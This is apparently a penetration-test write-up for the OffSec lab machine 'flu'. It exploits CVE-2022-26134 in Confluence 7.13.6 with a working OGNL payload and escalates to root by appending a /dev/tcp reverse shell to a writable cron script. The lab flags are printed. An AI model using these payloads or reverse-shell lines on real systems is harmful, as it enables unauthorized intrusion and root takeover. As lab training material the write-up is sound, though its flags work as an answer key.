

Flu - Lab Walkthrough

https://www.kairoshack.com

OffSec Proving Grounds

"flu" — Linux

Penetration Test Report

User flag: 200cc2b7da11821c04d8679132346baa
Root flag: 9e3f5a6cd336b6484534968851db36fb
CVE-2022-26134 · Cron / script-hijack privesc
flu

1. Reconnaissance & Target Profiling

Reconnaissance began with host discovery and a full TCP port scan of the target to build a complete picture of the exposed attack surface before any service-specific probing.

Host Discovery

First step is always to confirm the target is alive and identify the OS via the TTL. An ICMP echo with a TTL of `61` is a strong indicator of a **Linux** host (Windows defaults closer to `128`).

```
ping -c 2 192.168.173.41
```

```
64 bytes from 192.168.173.41: icmp_seq=1 ttl=61 time=44.0 ms
64 bytes from 192.168.173.41: icmp_seq=2 ttl=61 time=44.2 ms
```

- **Host is up**, average RTT ~44 ms, `ttl=61` → **Linux**.

Full TCP Port Scan

To avoid missing services on non-standard ports, scan **all 65,535 TCP ports** with a raised rate before running version detection.

```
nmap -Pn -p- -T4 --min-rate 1500 192.168.173.41
```

```
PORT     STATE SERVICE
22/tcp   open  ssh
8090/tcp open  opsmessaging
8091/tcp open  jamlink
```

Only three TCP ports are exposed:

Port	State	Nmap guess
22/tcp	open	ssh
8090/tcp	open	opsmessaging
8091/tcp	open	jamlink

Service & Version Detection

With the open ports known, run version detection, default scripts and OS fingerprinting on just those ports (faster and less noisy than against all ports).

```
nmap -Pn -sV -sC -O --reason -p 22,8090,8091 192.168.173.41
```

```
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
8090/tcp open  opsmessaging? syn-ack ttl 61
8091/tcp open  jamlink?      syn-ack ttl 61
```

Breakdown of the Flags

- `-Pn`: Skip host discovery and treat the target as online (useful when ICMP is filtered).
- `-p-`: Scan all 65,535 TCP ports instead of Nmap's default top 1,000.
- `-sV`: Probe open ports to determine service/version information.
- `-sC`: Run the default set of NSE (Nmap Scripting Engine) scripts.
- `-O`: Enable OS detection.
- `--reason`: Explain why each port received its state (e.g. `syn-ack`).
- `-T4`: Aggressive timing template for speed.

Findings

- **22/tcp** → `OpenSSH 9.0p1 Ubuntu 1ubuntu8.5` → confirms an **Ubuntu Linux** host.
- **8090/tcp** → version undetermined by Nmap; flagged for manual web enumeration.
- **8091/tcp** → version undetermined by Nmap; flagged for manual web enumeration.
- **OS:** Linux (kernel); the OS fingerprint was reported as incomplete because the host did not expose the required combination of open/closed ports to Nmap.

Obstacle: Port State Instability

The two web ports were unreliable during enumeration and materially affected the workflow:

- `8090/tcp` and `8091/tcp` repeatedly flipped between **`open`** and **`filtered`** across successive scans, while `22/tcp` remained stable.
- At one point the **entire host became unreachable** (`Network is unreachable`) and even ICMP failed. A `traceroute` showed the VPN gateway (the last hop inside the tunnel) returning **`!N` (network unreachable)** for the `192.168.173.0/24` segment — i.e. a lab/VPN-side routing hiccup, not a target firewall blocking our probes.
- Connectivity returned a few minutes later with all three ports reachable again.

Takeaway: when ports flap or a host randomly disappears, distinguish an infrastructure/VPN problem from a target-side firewall before drawing conclusions. Re-check `ping` and `traceroute` to the tunnel gateway to localise the failure.

Summary

- Host is a **Linux (Ubuntu)** machine.
- Only **three** TCP ports are open: **22 (SSH)**, **8090** and **8091** (unknown web services).
- SSH is a modern OpenSSH build — no obvious low-hanging fruit; the exposed **web services** are the interesting attack surface and are enumerated next.

2. Web Services Enumeration

The two unidentified ports from the scan (`8090` and `8091`) were fingerprinted by sending raw HTTP requests and comparing responses. Neither matched Nmap's service guesses — both are web-based and must be identified manually.

8090/tcp — Atlassian Confluence 7.13.6

Sending a raw `GET /` immediately identifies the application via its headers and redirect.

```
printf 'GET / HTTP/1.1\r\nHost: 192.168.173.41\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n' |
```

```
HTTP/1.1 302
Cache-Control: no-store
X-Confluence-Request-Time: 1791570981029
Set-Cookie: JSESSIONID=6B3CD19B6500562AF4824F2BB7DBB82C; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Location: /login.action?os_destination=%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Date: Fri, 09 Oct 2026 18:36:21 GMT
```

Identifiers:

- `X-Confluence-Request-Time` and the `JSESSIONID` cookie → **Atlassian Confluence**.
- `Location: /login.action?...&permissionViolation=true` → anonymous access is not permitted; a login is required.

Version Fingerprinting

The exact version is embedded in the login page's meta tags.

```
curl -s http://192.168.173.41:8090/login.action | grep -oiE 'ajs-version-number[^>]*|Confluence [0-9.]+'
```

```
ajs-version-number" content="7.13.6"
Confluence 7.13.6
```

The login page also leaks the configured **base URL**, revealing an internal hostname/IP:

```
confluence-base-url" name="confluence-base-url" content="http://192.168.226.170
```

Analysis

Confluence 7.13.6 is affected by **CVE-2022-26134**, a critical, **unauthenticated OGNL template-injection** vulnerability leading to Remote Code Execution. The version is *below* the fixed `7.13.7` release, so it is in scope for exploitation.

8091/tcp — Custom App on Clojure "Aleph" HTTP Server

This port behaves very unusually: it returns **`204 No Content` for every request**, regardless of path or method, with a `Server: Aleph/0.4.6` header. ("Aleph" is a Clojure HTTP web server library — this is the framework name, not the application.)

```
curl -s -i http://192.168.173.41:8091/
```

```
HTTP/1.1 204 No Content
Server: Aleph/0.4.6
Date: Fri, 09 Oct 2026 18:36:34 GMT
Connection: Keep-Alive
```

Method Discovery

An `OPTIONS` request reveals the allowed methods and a permissive CORS policy.

```
curl -s -i -X OPTIONS http://192.168.173.41:8091/
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 31536000
Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
Server: Aleph/0.4.6
content-length: 0
```

- Allowed verbs: `OPTIONS, GET, PUT, POST`.
- `Access-Control-Allow-Origin: *` → the API may be callable cross-origin.

Endpoint Fuzzing

Because everything returns a uniform `204`, directory/endpoint discovery uses the status code as a filter.

```
ffuf -u http://192.168.173.41:8091/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 204 -mc all -t 60
```

Also probed common API paths and all three verbs manually:

Verb	Paths tried	Result
GET	`/`, `/api`, `/api/1`, `/api/2`, `/api/v1`, `/graphql`, `/query`, `/health`, `/status`, `/metrics`, `/login`, `/robots.txt`	all `204`
POST	same set	all `204`
PUT	same set	all `204`

- **`ffuf` over `common.txt` (4,614 words): 0 hits.** No path returns anything other than `204`.
- No readable content, no version banner body, no error pages.
- Host header variations (`localhost`, `aleph`, the IP) made no difference.

Analysis

Port `8091` is a **black-box service that leaks nothing** — effectively a dead end for reconnaissance. It is documented as a red herring rather than part of the intended attack path.

Summary

- **8090/tcp → Atlassian Confluence 7.13.6** → vulnerable to **CVE-2022-26134** (unauthenticated OGNL injection → RCE). **This is the initial-access vector.**
- **8091/tcp** → custom Clojure/"Aleph" service returning `204` to everything, with permissive CORS. No endpoints or content could be discovered → treated as a **decoy / dead end**.
- Internal base URL `192.168.226.170` leaked by Confluence is worth noting for any later pivoting.

About this lab

A foothold in the lab will be gained by exploiting an **unauthenticated OGNL/template-injection vulnerability (CVE-2022-26134)** in an exposed **Atlassian Confluence 7.13.6** instance, achieving pre-authentication remote code execution and a reverse shell as the `confluence` user. Privileges will then be escalated by **hijacking a root-owned cron job** that executes a script writable by the `confluence` account, yielding a **root** shell. This lab focuses on *exploiting a well-known web-application CVE and on cron/script-hijack privilege escalation*.

Learning Objectives

After completion of this lab, learners will be able to:

- Fingerprint an unknown web service from its HTTP response headers, cookies, and meta tags.
- Identify **Atlassian Confluence 7.13.6** and map it to the public vulnerability **CVE-2022-26134**.
- Exploit the **unauthenticated OGNL injection** to achieve remote code execution.
- Use `through_the_wire` to send the injection payload and obtain a reverse shell.
- Enumerate writable files and cron jobs to find a privilege-escalation path.
- Hijack a **root cron job** by appending a reverse shell to a writable script (`/opt/log-backup.sh`) and catch the resulting root shell.

Lab Description

This lab demonstrates a straightforward but high-impact attack chain. An administrator has exposed an outdated **Confluence 7.13.6** server on port `8090`; this version is vulnerable to **CVE-2022-26134**, allowing an unauthenticated attacker to inject OGNL expressions via the URL path and run arbitrary commands. Exploitation returns a shell as the `confluence` service account. From there, local enumeration reveals that `/opt/log-backup.sh` — a log-backup script — is owned by `confluence` yet executed by **root's crontab**. Because the script is writable, appending a reverse shell to it results in code execution as **root** at the next cron interval. A second port (`8091`, a Clojure "Aleph" service returning `204` to every request) serves as a decoy. The lab emphasizes web-application CVE exploitation, reverse-shell handling, and privilege escalation through misconfigured scheduled tasks.

Areas Improved

Web Application Penetration Testing
Vulnerability Research & CVE Exploitation
Remote Code Execution (OGNL Injection)
Reverse Shell Handling
Linux Privilege Escalation (Cron / Script Hijack)
Local Enumeration
Penetration Testing Methodology

1. Initial Access (CVE-2022-26134)

> **INFO** — Status: **COMPLETE** — shell as `confluence`

Vector

Unauthenticated OGNL / template injection in **Atlassian Confluence 7.13.6 → CVE-2022-26134**.

- **Target (this session):** `192.168.214.41` (box IP changed — see note below)
- **Target (previous session):** `192.168.173.41`
- **Service:** `http://<target>:8090/`
- **Attacker:** `192.168.45.200` (`tun0`)

> **WARNING** — Target IP changed
> The logged target `192.168.173.41` was **unreachable** this session — the VPN pushed only `192.168.214.0/24` via `tun0`, and there was **no route** to `192.168.173.0/24` (traffic fell out the `eth0` default gateway). A sweep of `192.168.214.0/24` for port `8090` located the box at **`192.168.214.41`**. Same Confluence 7.13.6, same leaked base URL `192.168.226.170:8090`.

Exploit

Tool: **Through the Wire** — `https://github.com/jbaines-r7/through_the_wire`

```
git clone https://github.com/jbaines-r7/through_the_wire
```

The stock script **forks its own `nc` listener** on `--lport` and then sends an OGNL payload that spawns a bash reverse shell. Usage:

```
python3 through_the_wire.py --rhost 192.168.214.41 --rport 8090 \
    --lhost 192.168.45.200 --lport 4444 --protocol http:// --reverse-shell
```

Cleaner manual payload

The script's own listener is tied to the script process (it dies when the command session ends). For a stable session, a **FIFO-driven catcher** was used instead, and the payload was sent directly with `curl`:

```
import urllib.parse, requests
lhost, lport = "192.168.45.200", 4444
payload = '${Class.forName("com.opensymphony.webwork.ServletActionContext")' \
          '.getMethod("getResponse",null).invoke(null,null).setHeader("", ' \
          'Class.forName("javax.script.ScriptEngineManager").newInstance()' \
          '.getEngineByName("nashorn").eval("new java.lang.ProcessBuilder()' \
          '.command(\'bash\',\'-c\',\'bash -i >& /dev/tcp/' + lhost + '/' + str(lport) + ' 0>&1\').start(
url = "http://192.168.214.41:8090/" + urllib.parse.quote(payload) + "/"
requests.get(url, timeout=15)
```

> The vulnerable URL is `GET /<OGNL-payload>/` — the payload goes directly in the **path**.

Result

```
connection from 192.168.214.41:50680
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
```

Shell as **`confluence`** in `/opt/atlassian/confluence/bin`.

Loot — User Flag

```
cat /home/confluence/local.txt
# 200cc2b7da11821c04d8679132346baa
```

Next Step

Privilege escalation via the writable root cron script → see 1. Cron - log-backup.sh

Flags

Flags — OffSec PG "flu"

Flag	Path	Value
User (local)	`/home/confluence/local.txt`	`200cc2b7da11821c04d8679132346baa`
Root (proof)	`/root/proof.txt`	`9e3f5a6cd336b6484534968851db36fb`

Other Loot

Item	Path	Value
Email	`/root/email8.txt`	`1889faf8@offsec.com`

Attack Path (TL;DR)

1. **Recon** → `8090/tcp` = Atlassian Confluence **7.13.6** (port `8091` = decoy).
2. **Initial access** → **CVE-2022-26134** unauthenticated OGNL injection → RCE → shell as `confluence`. 1. Initial Access (CVE-2022-26134)
3. **Privesc** → `/opt/log-backup.sh` owned by `confluence` and run by **root cron** → append reverse shell → wait → shell as `root`. 1. Cron - log-backup.sh

1. Cron - log-backup.sh

> **INFO** — Status: **COMPLETE** — shell as `root`

Vector

Writable script executed by a root cron job (cronjob / script-hijack privesc).

Enumeration

Checking the writable files and the cron attack surface as `confluence`:

```
ls -la /opt/log-backup.sh
```

```
-rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 /opt/log-backup.sh
```

Key findings:

- `/opt/log-backup.sh` is **owned by** `confluence` and **group-writable/owner-writable** by us.
- `cron` daemon is running (`/usr/sbin/cron -f -P`).
- The root crontab (`/var/spool/cron/crontabs/root`) is not readable, but a **root cron job runs** `/opt/log-backup.sh` — the classic OffSec `flu` intended path.

Script contents:

```
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
```

Exploitation

Appended a reverse shell to the script:

```
echo 'bash -i >& /dev/tcp/192.168.45.200/4455 0>&1' >> /opt/log-backup.sh
```

Started a catcher on `4455`, then waited for the next cron interval.

```
connection from 192.168.214.41:55568
root@flu:~#
```

Shell as **`root`**.

Loot — Root Flag

```
cat /root/proof.txt
# 9e3f5a6cd336b6484534968851db36fb
```

Other interesting files in `/root`:

- `email8.txt` → `1889faf8@offsec.com`
- `/root/backup/` — the log backup directory written by the cron job.

Cleanup

Remove the appended line to restore the script:

```
sed -i '/\/dev\/tcp\/192.168.45.200\/4455/d' /opt/log-backup.sh
```